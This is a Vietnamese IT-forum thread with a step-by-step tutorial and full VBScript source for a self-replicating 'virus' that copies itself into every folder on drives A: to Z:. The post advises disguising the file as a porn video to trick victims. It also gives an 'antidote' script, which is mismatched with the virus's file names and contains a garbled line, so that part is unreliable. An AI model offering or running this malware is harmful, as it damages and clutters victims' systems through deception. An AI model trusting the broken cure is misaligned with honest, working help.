Chào mừng!

Bằng cách đăng ký với chúng tôi, bạn sẽ có thể thảo luận, chia sẻ và nhắn tin riêng tư với các thành viên khác trong cộng đồng của chúng tôi.

Đăng ký ngay!
  • Truy cập và ủng hộ DienDanIT.NET bằng cách click dăm 3 cái quảng cáo để duy trì sever nhé.

Share Tạo Virus Coppy Hàng Loạt Bằng Notepad

Đào Hữu Nhất

Thành Viên VIP
DienDanIT 2018
Tham gia
31/10/18
Bài viết
504
Lượt Thích
204
VNĐ
7,526
VNĐ
7,526
Cách tạo Virus Coppy Hàng Loạt
Bước 1: Các bạn mở notepad lên

Bước 2: Sau đó bạn coppy đoạn code này và paste vào notepad ! rồi lưu lại với tên gì cũng được như là : phim sex 18- chẳng hạn
Rich (BB code):
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus Boss !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus Boss !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
Cách Giải Virus Coppy Hàng Loạt
Đương nhiên thuốc độc nào thì cũng có thuốc giải ? Các bạn chỉ cần Coppy Đoạn Mã Dưới Đây Và Paste vào notepad lưu lại với tên Thuocgiai.vbs là xong ?
Rich (BB code):
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
 

Sơn Sexy

DienDanIT 2018
Tham gia
31/10/18
Bài viết
383
Lượt Thích
197
VNĐ
1,520
VNĐ
1,520
nó ra sao :v ai tesr chưa,sợ ứ dám test
 
Top Bottom